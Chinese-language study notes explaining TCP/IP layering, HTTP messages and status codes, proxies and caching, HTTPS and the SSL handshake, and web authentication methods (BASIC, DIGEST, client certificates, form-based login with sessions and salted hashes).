Web及网络基础

HTTP(HyperText Transfer Protocol)超文本传输协议，严谨点是超文本转移协议
简单来说，HTTP是一种协议，即规则的约定。Web就是将HTTP协议作为规范，完成从客户端到服务器端一系列操作的运作流程。所以说web是建立在HTTP协议上通信的

3项WWW构建技术分别是：

SGML(Standard Generalized Markup Language)标准通用标记语言

作为页面的文本标记语言的HTML(HyperText Markup Language)超文本标记语言
作为文档传递协议的HTTP
指定文档所在地址的URL(Uniform Resource Locator)统一资源定位符

把与互联网相关联的协议集合起来总称为TCP/IP。也有说法认为，TCP/IP是指TCP和IP这两种协议。还有一种说法认为，TCP/IP是在IP协议的通信过程中，使用到的协议族的统称

TCP/IP分层管理

应用层：决定了向用户提供应用服务时通信的活动/协议
- HTTP(HyperText Transfer Protocol)超文本传输协议
- FTP(File Transfer Protocol)文件传输协议
- DNS(Domain Name System)`域名系统

传输层：提供处于网络连接中的两台计算机之间的数据传输
- TCP(Transmission Control Protocol，传输控制协议)
- UDP(User Data Protocol，用户数据协议)
网络层(又名网络互连层)：选择一条传输路线，并将数据包传送到指定目
- IP(Internet Protocol，网际协议)
- 网络层用来处理在网络上流动的数据包。数据包是网络传输的最小数据单位。该层规定了通过怎样的路径（传输路线）到达对方计算机、并把数据包传送给对方。与对方计算机之间通过多台计算机或网络设备进行传输时，网络层所起的作用就是在众多的选项内选择一条传输路线
链路层(又名数据链路层，网络接口层)：用来处理连接网络的硬件部分
- 包括控制操作系统、硬件的设备驱动、NIC(Network Interface Card，网络适配器)，及光纤等物理可见部分(还包括连接器等一切传输媒介)。硬件上的范畴均在链路层的作用范围之内

利用TCP/IP协议族进行网络通信时，会通过分层顺序与对方进行通信

发送端从应用层往下走、接收端则往应用层往上走
发送端在层与层之间传输数据时，每经过一层时必定会被打上一个该层所属的首部信息。反之，接收端在层与层传输数据时，每经过一层时会把对应的首部消去
这种把数据信息包装起来的做法称为封装(encapsulate)

与 HTTP 关系密切的协议：IP、TCP 和 DNS

负责传输的IP协议

IP协议的作用是把各种数据包传送给对方。要保证确实传送到对方那里，需要满足各类条件，其中最重要的2个条件就是IP地址和MAC地址(Media Access Control Address)

IP地址指明了节点被分配到的地址，MAC地址是指网卡所属的固定地址。IP地址可以和MAC地址进行配对。IP地址可变换，但MAC地址基本上不会改变

IP间的通信依赖MAC地址，在网络上，通信的双方在同一LAN内的情况是很少的，通常是经过多台计算机和网络设备中转才能连接到对方。而在进行中转时，会利用下一站中转设备的MAC地址来搜索下一个中转目标。这时，会采用ARP协议（Address Resolution Protocol）。ARP是一种用以解析地址的协议，根据通信方的IP地址就可以反查出对应的MAC地址

确保可靠性的TCP协议

　TCP提供可靠的字节流服务。所谓的字节流服务（Byte Stream Service）是指为了传输方便，将大块数据割成以报文段（segment）为单位的数据包进行管理。可靠的传输服务指能够将数据准确可靠地传给对方。总而言之，TCP协议为了更容易传送大数据才把数据分割，而且TCP协议能够确认数据最终是否送达到目标处

为了准确无误地将数据送达目标处，TCP协议采用了三次握手策略（three-way handshaking）

用TCP协议把数据包送出去后，TCP不会对传送后的情况置之不理，它一定会向对方确认是否成功送达。
握手过程中使用了TCP的标志SYN（synchronize）和ACK（acknowledgement）

发送端首先发送一个带SYN标志的数据包给对方
接收端收到后，回传一个带有SYN/ACK标志的数据包以示传达确认信息
最后，发送端再回传一个带ACK标志的数据包，代表“握手”结束。

若在握手过程中某个阶段莫名中断，TCP协议会再次以相同的顺序发送相同的数据包

负责域名解析的DNS服务

DNS（Domain Name System）服务是和HTTP协议一样位于应用层的协议，它提供域名到IP地址之间的解析服务，DNS协议提供通过域名查找IP地址，或逆向从IP地址反查域名的服务

![](D:\electric book\学习笔记\计算机网络\asset\协议间关系.png)

URI和URL

统一资源标识符URIUniform Resource Identifier是用于标识互联网上资源的字符串，可以标识各种类型的资源，包括Web页面、图像、视频等。URI允许用户通过特定的协议与资源进行交互操作，并提供了资源定位和访问的方法。在Web上，每个可用的资源都有一个对应的URI，以便用户查找和访问
URI就是由某个协议方案表示的资源的定位标识符。协议方案是指访问资源所使用的协议类型名称。采用HTTP协议时，协议方案就是http

统一资源定位符URLuniform resource locator是用于定位互联网上资源的字符串，由协议、主机名和路径等部分组成。它提供了资源的具体访问方式，使得用户可以通过浏览器或其他工具来访问网络上的资源。URL在互联网中广泛应用，是互联网资源定位的重要方式之一

URI用于标识互联网上的资源，而URL则是指向这些资源的具体地址。URL是URI的一个子集，它提供了资源的具体访问方式。此外，URI还包括统一资源名称（URN），它命名资源但不指定如何定位资源。因此，URL和URN都是URI的不同类型，它们在标识和定位网络资源方面起着不同的作用

HTTP协议

请求访问文本或图像等资源的一端称为客户端，而提供资源响应的一端称为服务器端

HTTP协议规定，请求从客户端发出，最后服务器端响应该请求并返回

下面则是从客户端发送给某个HTTP服务器端的请求报文中的内容：

GET /index.htm HTTP/1.1
Host: hackr.jp

起始行开头的GET表示请求访问服务器的类型，称为方法
随后的字符串/index.htm指明了请求访问的资源对象，也叫做请求URI（request-URI）
最后的HTTP/1.1，即HTTP的版本号，用来提示客户端使用的HTTP协议功能
这段请求内容的意思是：请求访问某台HTTP服务器上的/index.htm页面资源。

请求报文是由请求方法、请求URI、协议版本、可选的请求首部字段和内容实体构成的

接收到请求的服务器，会将请求内容的处理结果以响应的形式返回：

HTTP/1.1 200 OK
Date: Tue, 10 Jul 2012 06:50:15 GMT 
// GMT是响应首部字段
Content-Length: 362
Content-Type: text/html

<html>
......

在起始行开头的HTTP/1.1表示服务器对应的HTTP版本，200表示请求的处理结果的状态码（status code）OK表示状态码的原因短语（reason-phrase）
下一行显示了创建响应的日期时间，是首部字段（header field）内的一个属性
接着以一空行分隔，之后的内容称为资源实体的主体（entity body）

响应报文基本上由协议版本、状态码（表示请求成功或失败的数字代码）、用以解释状态码的原因短语、可选的响应首部字段以及实体主体构成

告知服务器意图的HTTP方法

HTTP是一种不保存状态，即无状态stateless协议，HTTP协议自身不对请求和响应之间的通信状态进行保存

使用HTTP协议，每当有新的请求发送时，就会有对应的新响应产生。协议本身并不保留之前一切的请求或响应报文的信息。这是为了更快地处理大量事务，确保协议的可伸缩性，而特意把HTTP协议设计成如此简单

为了实现期望的保持状态功能，于是引入了Cookie技术。有了Cookie再用HTTP协议通信，就可以管理状态

HTTP协议使用URI定位互联网上的资源。正是因为URI的特定功能，在互联网上任意位置的资源都能访问到

持久连接

HTTP协议的初始版本中，每进行一次HTTP通信就要断开一次TCP连接

持久连接(HTTP Persistent Connections)，也称为HTTP keep-alive或HTTP connection reuse的方法。持久连接的特点是只要任意一端没有明确提出断开连接，则保持TCP连接状态

持久连接旨在建立1次TCP连接后进行多次请求和响应的交互，它减少了TCP连接的重复建立和断开所造成的额外开销，减轻了服务器端的负载。另外，减少开销的那部分时间，使HTTP请求和响应能够更早地结束，这样Web页面的显示速度也就相应提高

持久连接使得多数请求以管线化（pipelining）方式发送成为可能。从前发送请求后需等待并收到响应，才能发送下一个请求。管线化技术出现后，不用等待响应亦可直接发送下一个请求。这样就能够做到同时并行发送多个请求，而不需要一个接一个地等待响应了

管线化技术则比持久连接还要快。请求数越多，时间差就越明显

使用cookie的状态管理

HTTP是无状态协议，无法根据之前的状态进行本次的请求处理，保留无状态协议这个特征的同时又要解决类似的矛盾问题，于是引入了Cookie技术

Cookie技术通过在请求和响应报文中写入Cookie信息来控制客户端的状态。服务器的响应报文包含set-cookie字段，则客户端保存对应cookie。当客户端往同一服务器再次发送请求的时候，客户端会自动向在请求头中添加之前服务器发送的cookie值

HTTP报文内的HTTP信息

用于HTTP协议交互的信息被称为HTTP报文。HTTP报文本身是由多行（用CR+LF作换行符）数据构成的字符串文本。HTTP报文大致可分为报文首部和报文主体两块。两者由最初出现的空行（CR+LF）来划分。通常并不一定要有报文主体

请求端（客户端）的HTTP报文叫做请求报文，响应端（服务器端）的叫做响应报文

请求报文和响应报文的首部内容由以下数据组成：

请求行

包含用于请求的方法，请求URI和HTTP版本
状态行

包含表明响应结果的状态码，原因短语和HTTP版本
首部字段

包含表示请求和响应的各种条件和属性的各类首部
其他

可能包含HTTP的RFC里未定义的首部（Cookie等）

报文主体和实体主体的差异

报文（message）是HTTP通信中的基本单位，由8位组字节流（octet sequence，其中octet为8个比特）组成，通过HTTP通信传输
实体（entity）作为请求或响应的有效载荷数据（补充项）被传输，其内容由实体首部和实体主体组成

HTTP报文的主体用于传输请求或响应的实体主体。通常，报文主体等于实体主体。只有当传输中进行编码操作时，实体主体的内容发生变化，才导致它和报文主体产生差异

HTTP在传输数据时可以按照数据原貌直接传输，但也可以在传输过程中通过编码提升传输速率。通过在传输时编码，能有效地处理大量的访问请求。但是，编码的操作需要计算机来完成，因此会消耗更多的CPU等资源

HTTP协议中有一种被称为内容编码的功能。内容编码指明应用在实体内容上的编码格式，并保持实体信息原样压缩。内容编码后的实体由客户端接收并负责解码

请求的编码实体资源尚未全部传输完成之前，浏览器无法显示请求页面。在传输大容量数据时，通过把数据分割成多块，能够让浏览器逐步显示页面。这种把实体主体分块的功能称为分块传输编码（Chunked Transfer Coding）

分块传输编码会将实体主体分成多个块，每一块都会用十六进制来标记块的大小，而实体主体的最后一块会使用0(CR+LF)来标记。使用分块传输编码的实体主体会由接收的客户端负责解码，恢复到编码前的实体主体

发送邮件时，可以在邮件里写入文字并添加多份附件。这是因为采用了MIME（Multipurpose Internet Mail Extensions，多用途因特网邮件扩展）机制，它允许邮件处理文本、图片、视频等多个不同类型的数据HTTP协议中也采纳了多部分对象集合，发送的一份报文主体内可含有多类型实体。通常是在图片或文本文件等上传时使用

返回结果的HTTP状态码

状态码：当客户端向服务器端发送请求时，描述返回的请求结果。借助状态码，用户可以知道服务器端是正常处理了请求，还是出现了错误

只要遵守状态码类别的定义，即使改变RFC2616中定义的状态码，或服务器端自行创建状态码都没问题

常用的几种：

200 OK 成功
204 No Content 代表服务器接收的请求已成功处理，但在返回的响应报文中不含实体的主体部分,也不允许返回任何实体的主体
206 Partial Content 客户端对资源进行了限定范围请求

301 Moved Permanently 永久性重定向
302 Found 暂时性重定向
303 See Other 请求对应的资源存在着另一个URI，应使用GET方法定向获取请求的资源
301、302、303若之前是post方法，会去掉实体主体并改为get请求，之后请求会自动再次发送
304 Not Modified 表示客户端发送附带条件的请求时，服务器端允许请求访问资源，但未满足条件。304状态码返回时，不包含任何响应的主体部分
307 Temporary Redirect 暂时性重定向 307会遵照浏览器标准，不会从POST变成GET

400 Bad Request 请求报文存在语法错误
401 Unauthorized 需要认证
403 Forbidden 请求被拒绝，服务器端没有必要给出拒绝的详细理由，但如果想作说明的话，可以在实体的主体部分对原因进行描述，这样就能让用户看到了。
未获得文件系统的访问授权、访问权限出现某些问题（从未授权的发送源IP地址试图访问）等情况都可能是发生403的原因
404 Not Found 服务器上无法找到对应请求的资源

500 Internal Server Error 服务器在执行请求时发生了错误，可能是web应用存在bug或者某些临时故障
503 Service Unavailable 服务器超负载或者正在进行停机维护

状态码和状况的不一致

不少返回的状态码响应都是错误的，但是用户可能察觉不到这点。比如 Web 应用程序内部发生错误，状态码依然返回 200 OK，这种情况也经常遇到

与HTTP协作的Web服务器

服务器可以搭建多个独立域名的Web网站，也可以作为通信路径上的中转服务器

单台虚拟主机实现多个域名

即使物理层面只有一台服务器，但只要使用虚拟主机的功能，则可以假想已具有多台服务器

在相同的IP地址下，由于虚拟主机可以寄存多个不同主机名和域名的Web网站，因此发送HTTP请求时，必须在Host首部内完整指定主机名或域名的URI

通信数据转发程序：代理、网关、隧道

除客户端和服务器以外，还有一些用于通信数据转发的应用程序，例如代理、网关和隧道
它们配合服务器工作，可以将请求转发给通信线路上的下一站服务器，并且能接收从那台服务器发送的响应再转发给客户端

代理：服务器和客户端“中间人”，转发请求和响应

接收由客户端发送的请求并转发给服务器，同时也接收服务器返回的响应并转发给客户端
网关：转发其他服务器通信数据的服务器，接收从客户端发送来的请求时，它就像自己拥有资源的源服务器一样对请求进行处理
隧道：相隔甚远的客户端和服务器两者之间进行中转，并保持双方通信连接的应用程序

代理

代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理不改变请求URI，会直接发送给前方持有资源的目标服务器。

持有资源实体的服务器被称为源服务器。从源服务器返回的响应经过代理服务器后再传给客户端

使用代理服务器的理由：

利用缓存技术（稍后讲解）减少网络带宽的流量
通过组织内部的代理服务器可针对特定URI访问的控制
以获取访问日志为主要目的等等

代理按分类是否使用缓存或是否修改报文来分类

缓存代理

代理转发响应时，缓存代理会预先将资源的副本（缓存）保存在代理服务器上。当代理再次接收到对相同资源的请求时，就可以不从源服务器那里获取资源，而是将之前缓存的资源作为响应返回
透明代理

转发请求或响应时，不对报文做任何加工的代理类型被称为透明代理，反之，对报文内容进行加工的代理被称为非透明代理

网关

网关的工作机制和代理十分相似。而网关能使通信线路上的服务器提供非HTTP协议服务。利用网关能提高通信的安全性，因为可以在客户端与网关之间的通信线路上加密以确保连接的安全。

网关可以连接数据库，使用SQL语句查询数据
在Web购物网站上进行信用卡结算时，网关可以和信用卡结算系统联动

隧道

隧道可按要求建立起一条与其他服务器的通信线路，届时使用SSL等加密手段进行通信。隧道的目的是确保客户端能与服务器进行安全的通信。隧道本身不会去解析HTTP请求。也就是说，请求保持原样中转给之后的服务器。隧道会在通信双方断开连接时结束

资源缓存

缓存是指代理服务器或客户端本地磁盘内保存的资源副本。利用缓存可减少对源服务器的访问，因此也就节省了通信流量和通信时间。缓存服务器是代理服务器的一种，并归类在缓存代理类型中。换句话说，当代理转发从服务器返回的响应时，代理服务器将会保存一份资源的副本

即使存在缓存，缓存有效期会因为资源更新、客户端的要求、缓存的有效期等因素，向源服务器确认资源的有效性。若判断缓存失效，缓存服务器将会再次从源服务器上获取新资源

缓存不仅可以存在于缓存服务器内，还可以存在客户端浏览器中
客户端缓存/临时网络文件：本地磁盘存放。若判断浏览器缓存失效，浏览器会再次请求新资源

HTTP首部字段

使用首部字段是为了给浏览器和服务器提供报文主体大小、所使用的语言、认证信息等内容，首部字段起到传递额外重要信息的作用

首部字段名和字段值构成：首部字段名:字段值1, 字段值2

HTTP首部字段根据实际用途被分为以下4种类型：

通用首部字段（General Header Fields）

请求报文和响应报文两方都会使用的首部
请求首部字段（Request Header Fields）

补充请求的附加内容、客户端信息、响应内容相关优先级等信息
响应首部字段（Response Header Fields）

补充响应的附加内容，也会要求客户端附加额外的内容信息
实体首部字段（Entity Header Fields）

针对请求报文和响应报文的实体部分使用的首部，补充了资源内容更新时间等与实体有关的信息

HTTP首部字段将定义成缓存代理和非缓存代理的行为，分成2种类型：

端到端首部：end-to-end Header，分在此类别中的首部会转发给请求/响应对应的最终接收目标，且必须保存在由缓存生成的响应中，另外必须被转发。
逐跳首部：hop-by-hop Header，分在此类别中的首部只对单次转发有效，会因通过缓存或代理而不再转发

确保Web安全的HTTPS

HTTP缺点：

使用明文通信 —— 窃听
不验证通行方身份 —— 伪装
无法证明报文完整性 —— 篡改
还有像某些特定的Web服务器和特定的Web浏览器在实际应用中存在的不足（也可以说成是脆弱性或安全漏洞），另外，用Java和PHP等编程语言开发的Web应用也可能存在安全漏洞

TCP/IP是可能被窃听的网络
即使已经过加密处理的通信，也会被窥视到通信内容，这点和未加密的通信是相同的。只是说如果通信经过加密，就有可能让人无法破解报文信息的含义，但加密处理后的报文信息本身还是会被看到的

窃听相同段上的通信只需要收集在互联网上流动的数据包（帧）就行了，对于收集来的数据包的解析工作可交给抓包（Packet Capture）或嗅探器（Sniffer）工具

加密防止窃听：

通信加密

通过和SSL（Secure Socket Layer安全套接层）或TLS（Transport Layer Security安全传输层协议）的组合使用加密HTTP的通信内容

用SSL建立安全通信线路之后，就可以在这条线路上进行HTTP通信了。与SSL组合使用的HTTP被称为HTTPS（HTTP Secure超文本传输安全协议）或HTTP over SSL
内容加密

不加密报文首部，加密报文主体，为了做到有效的内容加密，前提是要求客户端和服务器同时具备加密和解密机制，主要应用在Web服务中。有一点必须引起注意，由于该方式不同于SSL或TLS将整个通信线路加密处理，所以内容仍有被篡改的风险

不确认通信方的身份就可能遭遇伪装：HTTP协议中的请求和响应不会对通信方进行确认，任何人都可能发起请求，受到请求就会返回响应（未限制IP和端口）

不确认通信方，会存在以下各种隐患：

无法确定请求发送至目标的 Web 服务器是否是按真实意图返回响应的那台服务器或无法确定响应返回到的客户端是否是按真实意图接收响应的那个客户端，可能是伪装的Web服务器、伪装的客户端
无法确定正在通信的对方是否具备访问权限。因为某些 Web 服务器上保存着重要的信息，只想发给特定用户通信的权限
无法判定请求是来自何方
即使是无意义的请求也会照单全收。无法阻止海量请求下的DOS攻击（Denial of Service拒绝服务攻击）

虽然使用HTTP协议无法确定通信方，但如果使用SSL则可以。SSL不仅提供加密处理，而且还使用了一种被称为证书的手段，可用于确定方。证书由值得信任的第三方机构颁发，用以证明服务器和客户端是实际存在的

由于HTTP协议无法证明通信的报文完整性，因此，在请求或响应送出之后直到对方接收之前的这段时间内，即使请求或响应的内容遭到篡改，也没有办法获悉，没有任何办法确认，发出的请求/响应和接收到的请求/响应是前后相同的

请求或响应在传输途中，遭攻击者拦截并篡改内容的攻击称为中间人攻击MITM（Man-in-the-Middle attack）

使用HTTP协议确定报文完整性的方法事实上并不方便、可靠

常用的是MD5和SHA-1等散列值校验的方法，以及用来确认文件的数字签名方法

提供文件下载服务的Web网站也会提供相应的以PGP（Pretty Good Privacy，完美隐私）创建的数字签名及MD5算法生成的散列值。

PGP是用来证明创建文件的数字签名
MD5是由单向函数生成的散列值

不论使用哪一种方法，都需要操纵客户端的用户本人亲自检查验证下载的文件是否就是原来服务器上的文件。浏览器无法自动帮用户检查。这些方法也依然无法百分百保证确认结果正确。因为PGP和MD5本身被改写的话，用户是没有办法意识到的

为了有效防止这些弊端，有必要使用HTTPS。SSL提供认证和加密处理及摘要功能。仅靠HTTP确保完整性是非常困难的，因此通过和其他协议组合使用来实现这个目标

TTP+ 加密 + 认证 + 完整性保护 =HTTPS

把添加了加密及认证机制的HTTP称为HTTPS（HTTP Secure）

经常会在Web的登录页面和购物结算界面等使用HTTPS通信。使用HTTPS通信时，不再用http://，而是改用https://

HTTPS并非是应用层的一种新协议。只是HTTP通信接口部分用SSL（Secure Socket Layer）和TLS（Transport Layer Security）协议代替而已

通常HTTP直接和TCP通信。当使用SSL时，则演变成先和SSL通信，再由SSL和TCP通信了。所谓HTTPS其实就是身披SSL协议这层外壳的HTTP

SSL是独立于HTTP的协议，所以不光是HTTP协议，其他运行在应用层的SMTP和Telnet等协议均可配合SSL协议使用。可SSL是当今世界上应用最为广泛的网络安全技术
SSL采用一种叫做公开密钥加密（Public-key cryptography）的加密处理方式
公开密钥加密使用一对非对称的密钥。一把叫做私有密钥（private key），另一把叫做公开密钥（public key）
私有密钥不能让其他任何人知道，而公开密钥则可以随意发布，任何人都可以获得

使用公开密钥加密方式，发送密文的一方使用对方的公开密钥进行加密处理，对方收到被加密的信息后，再使用自己的私有密钥进行解密。利用这种方式，不需要发送用来解密的私有密钥，也不必担心密钥被攻击者窃听而盗走
使用公开密钥进行加密，使用私有密钥进行解密
公开密钥加密相对于共享密钥加密来说，安全性更高，适用于对大量数据或者对安全性要求较高的场景

近代的加密方法中加密算法是公开的，而密钥却是保密的。通过这种方式得以保持加密方法的安全性。加密和解密都会用到密钥。没有密钥就无法对密码解密，任何人只要持有密钥就能解密

加密和解密同用一个密钥的方式称为共享密钥加密（Common key crypto system），也被叫做对称密钥加密
这种方式实现简单，处理速度快，但由于密钥的唯一性和安全性问题，只适用于较小的数据量或者对安全性要求不高的场景

HTTPS采用共享密钥加密和公开密钥加密两者并用的混合加密机制

若密钥能够实现安全交换，那么有可能会考虑仅使用公开密钥加密来通信。但是公开密钥加密与共享密钥加密相比，其处理速度要慢。所以应充分利用两者各自的优势，将多种方法组合起来用于通信。在交换密钥环节使用公开密钥加密方式，之后的建立通信交换报文阶段则使用共享密钥加密方式

公开密钥加密方式还是存在一些问题的。那就是无法证明公开密钥本身就是货真价实的公开密钥，或许在公开密钥传输途中，真正的公开密钥已经被攻击者替换掉了

为了解决上述问题，可以使用由数字证书认证机构CA（Certificate Authority）和其相关机关颁发的公开密钥证书

证书的一个作用是用来证明作为通信一方的服务器是否规范，另外一个作用是可确认对方服务器背后运营的企业是否真实存在。拥有该特性的证书就是EV SSL证书（Extended Validation SSL Certificate）。EV SSL证书是基于国际标准的认证指导方针颁发的证书。其严格规定了对运营组织是否真实的确认方针，因此，通过认证的Web网站能够获得更高的认可度。持有EV SSL证书的Web网站的浏览器地址栏处的背景色是绿色的，从视觉上就能一眼辨别出。而且在地址栏的左侧显示了SSL证书中记录的组织名称以及颁发证书的认证机构的名称

HTTPS中还可以使用客户端证书。以客户端证书进行客户端认证，证明服务器正在通信的对方始终是预料之内的客户端，其作用跟服务器证书如出一辙

但是认证机构也有可能出现问题，甚至有些认证机构的存在就是问题

如果使用OpenSSL这套开源程序，每个人都可以构建一套属于自己的认证机构，从而自己给自己颁发服务器证书。但该服务器证书在互联网上不可作为证书使用，似乎没什么帮助。浏览器访问该服务器时，会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息

多数浏览器内预先已植入备受信赖的认证机构的证书，但也有一小部分浏览器会植入中级认证机构的证书。对于中级认证机构颁发的服务器证书，某些浏览器会以正规的证书来对待，可有的浏览器会当作自签名证书

客户端通过发送Client Hello报文开始SSL通信。报文中包含客户端支持的SSL的指定版本、加密组件（Cipher Suite）列表（所使用的加密算法及密钥长度等）
服务器可进行SSL通信时，会以Server Hello报文作为应答。和客户端一样，在报文中包含SSL版本以及加密组件。服务器的加密组件内容是从接收到的客户端加密组件内筛选出来的
之后服务器发送Certificate报文。报文中包含公开密钥证书
最后服务器发送Server Hello Done报文通知客户端，最初阶段的SSL握手协商部分结束
SSL第一次握手结束之后，客户端以Client Key Exchange报文作为回应。报文中包含通信加密中使用的一种被称为Pre-master secret的随机密码串。该报文已用步骤3中的公开密钥进行加密
接着客户端继续发送Change Cipher Spec报文。该报文会提示服务器，在此报文之后的通信会采用Pre-master secret密钥加密
客户端发送Finished报文。该报文包含连接至今全部报文的整体校验值。这次握手协商是否能够成功，要以服务器是否能够正确解密该报文作为判定标准
服务器同样发送Change Cipher Spec报文
服务器同样发送Finished报文
服务器和客户端的Finished报文交换完毕之后，SSL连接就算建立完成。当然，通信会受到SSL的保护。从此处开始进行应用层协议的通信，即发送HTTP请求
应用层协议通信，即发送HTTP响应
最后由客户端断开连接。断开连接时，发送close_notify报文
上图省略步骤，再发送TCP FIN报文来关闭与TCP的通信

在以上流程中，应用层发送数据时会附加一种叫做MAC（Message Authentication Code）的报文摘要。MAC能够查知报文是否遭到篡改，从而保护报文的完整性

HTTPS缺点

速度变慢
这一问题，并没有根本性的解决方案，我们会使用SSL加速器这种（专用服务器）硬件来改善该问题。该硬件为SSL通信专用硬件，相对软件来讲，能够提高数倍SSL的计算速度。仅在SSL处理时发挥SSL加速器的功效，以分担负载。
购买认证证书：通常，一年的授权需要数千元

与纯文本通信相比，加密通信会消耗更多的CPU 及内存资源。如果每次通信都加密，会消耗相当多的资源，平摊到一台计算机上时，能够处理的请求数量必定也会随之减少。因此，如果是非敏感信息则使用 HTTP 通信，只有在包含个人信息等敏感数据时，才利用 HTTPS 加密通信。特别是每当那些访问量较多的 Web 网站在进行加密处理时，它们所承担着的负载不容小觑。在进行加密处理时，并非对所有内容都进行加密处理，而是仅在那些需要信息隐藏时才会加密，以节约资源

确认访问用户身份的认证

认证通信方身份核对的信息：

密码：只有本人才会知道的字符串信息
动态令牌：仅限本人持有的设备内显示的一次性密码
数字证书：仅限本人（终端）持有的信息
生物认证：指纹和虹膜等本人的生理信息
IC卡等：仅限本人持有的信息

认证方式：

BASIC认证（基本认证）
DIGEST认证（摘要认证）
SSL客户端认证
FormBase认证（基于表单认证）
此外，还有Windows统一认证（Keberos认证、NTLM认证）

BASIC认证

当请求的资源需要BASIC认证时，服务器会随状态码401 Authorization Required，返回带WWW-Authenticate首部字段的响应。该字段内包含认证的方式（BASIC）及Request-URI安全域字符串（realm）
接收到状态码401的客户端为了通过BASIC认证，需要将用户ID及密码发送给服务器。发送的字符串内容是由用户ID和密码构成，两者中间以冒号连接后，再经过Base64编码处理。假设用户ID为guest，密码是guest，连接起来就会形成guest:guest这样的字符串。然后经过Base64编码，最后的结果即是Z3Vlc3Q6Z3Vlc3Q=。把这串字符串写入首部字段Authorization后，发送请求。当用户代理为浏览器时，用户仅需输入用户ID和密码即可，之后，浏览器会自动完成到Base64编码的转换工作
接收到包含首部字段Authorization请求的服务器，会对认证信息的正确性进行验证。如验证通过，则返回一条包含Request-URI资源的响应

BASIC认证虽然采用Base64编码方式，但这不是加密处理。不需要任何附加信息即可对其解码，明文解码后就是用户ID和密码，在HTTP等非加密通信的线路上进行BASIC认证的过程中如果被人窃听，被盗的可能性极高

除此之外想再进行一次BASIC认证时，一般的浏览器却无法实现认证注销操作，这也是问题之一。BASIC认证使用上不够便捷灵活，且达不到多数Web网站期望的安全性等级，因此它并不常用

DIGEST认证

DIGEST认证同样使用质询/响应的方式（challenge/response），但不会像BASIC认证那样直接发送明文密码

质询响应方式是指：一开始一方会先发送认证要求给另一方，接着使用从另一方那接收到的质询码计算生成响应码。最后将响应码返回给对方进行认证的方式

因为发送给对方的只是响应摘要及由质询码产生的计算结果，所以比起BASIC认证，密码泄露的可能性就降低了

请求需认证的资源时，服务器会随着状态码401 Authorization Required，返回带WWW-Authenticate首部字段的响应。该字段内包含质问响应方式认证所需的临时质询码（随机数，nonce）

首部字段WWW-Authenticate内必须包含realm和nonce这两个字段的信息。客户端就是依靠向服务器回送这两个值进行认证的

nonce是一种每次随返回的401响应生成的任意随机字符串。该字符串通常推荐由Base64编码的十六进制数的组成形式，但实际内容依赖服务器的具体实现
接收到401状态码的客户端，返回的响应中包含DIGEST认证必须的首部字段Authorization信息

首部字段Authorization内必须包含username、realm、nonce、uri和response的字段信息
- realm和nonce就是之前从服务器接收到的响应中的字段
- username是realm限定范围内可进行认证的用户名
- uri（digest-uri）即Request-URI的值，但考虑到经代理转发后Request-URI的值可能被修改，因此事先会复制一份副本保存在uri内
- response也可叫做Request-Digest，存放经过MD5运算后的密码字符串形成响应码
接收到包含首部字段Authorization请求的服务器，会确认认证信息的正确性。认证通过后则返回包含Request-URI资源的响应。并且这时会在首部字段Authentication-Info写入一些认证成功的相关信息

DIGEST认证提供了高于BASIC认证的安全等级，但是和HTTPS的客户端认证相比仍旧很弱。DIGEST认证提供防止密码被窃听的保护机制，但并不存在防止用户伪装的保护机制。DIGEST认证和BASIC认证一样，使用上不那么便捷灵活，且仍达不到多数Web网站对高度安全等级的追求标准。因此它的适用范围也有所受限

SSL客户端认证

如果用户ID和密码被盗，就很有可能被第三者冒充。利用SSL客户端认证则可以避免该情况的发生

SSL客户端认证是借由HTTPS的客户端证书完成认证的方式。凭借客户端证书认证，服务器可确认访问是否来自已登录的客户端

为达到SSL客户端认证的目的，需要事先将客户端证书分发给客户端，且客户端必须安装此证书

接收到需要认证资源的请求，服务器会发送Certificate Request报文，要求客户端提供客户端证书
客户端会把客户端证书信息以Client Certificate报文方式发送给服务器
服务器验证客户端证书验证通过后方可领取证书内客户端的公开密钥，然后开始HTTPS加密通信

SSL客户端认证采用双因素认证

双因素认证：证书 + 表单认证(密码)

SSL客户端证书用来认证客户端计算机，密码则用来确定这是用户本人的行为

使用SSL客户端认证需要用到客户端证书。而客户端证书需要支付一定费用才能使用

基于表单认证

基于表单的认证方法并不是在HTTP协议中定义的。客户端会向服务器上的Web应用程序发送登录信息（Credential），按登录信息的验证结果认证。
输入已事先登录的用户ID（通常是任意字符串或邮件地址）和密码等登录信息后，发送给Web应用程序，基于认证结果来决定认证是否成功

认证多半为基于表单认证

由于使用上的便利性及安全性问题，HTTP协议标准提供的BASIC认证和DIGEST认证几乎不怎么使用。SSL客户端认证虽然具有高度的安全等级，但有导入及维持费用等问题

SSH和FTP协议，服务器与客户端之间的认证是合乎标准规范的，并且满足了最基本的功能需求上的安全使用级别，因此这些协议的认证可以拿来直接使用

但是对于Web网站的认证功能，能够满足其安全使用级别的标准规范并不存在，所以只好使用由Web应用程序各自实现基于表单的认证方式

Session管理和Cookie应用

基于表单认证的标准规范尚未有定论，一般会使用Cookie来管理Session，以弥补HTTP协议中不存在的状态管理功能(已认证成功的用户状态无法通过协议层面保存下来)

客户端把用户ID和密码等登录信息放入报文的实体部分，通常是以POST方法把请求发送给服务器。
服务器会发放用以识别用户的Session ID，通过验证从客户端发送过来的登录信息进行身份认证，然后把用户的认证状态与Session ID绑定后记录在服务器端。向客户端返回响应时，会在首部字段Set-Cookie内写入Session ID

如果Session ID被第三方盗走，对方就可以伪装成你的身份进行恶意操作了。因此必须防止Session ID被盗或被猜出。为做到这点，Session ID应使用难以推测的字符串，且服务器端也需要进行有效期的管理，保证其安全性。另外，为减轻跨站脚本攻击XSS造成的损失，建议事先在Cookie内加上httponly属性
客户端接收到从服务器端发来的Session ID后，会将其作为Cookie保存在本地。下次向服务器发送请求时，浏览器会自动发送Cookie，所以Session ID也随之发送到服务器。服务器端可通过验证接收到的Session ID识别用户和其认证状态

不仅基于表单认证的登录信息及认证过程都无标准化的方法，服务器端应如何保存用户提交的密码等登录信息等也没有标准化

一种安全的保存方法是，先利用给密码加盐（salt）的方式增加额外信息，再使用散列（hash）函数计算出散列值后保存。但是我们也经常看到直接保存明文密码的做法，而这样的做法具有导致密码泄露的风险

salt是由服务器随机生成的一个字符串，但是要保证长度足够长，并且是真正随机生成的。然后把它和密码字符串相连接（前后都可以）生成散列值。当两个用户使用了同一个密码时，由于随机生成的salt值不同，对应的散列值也将是不同的。这样一来，很大程度上减少了密码特征，攻击者也就很难利用自己手中的密码特征库进行破解

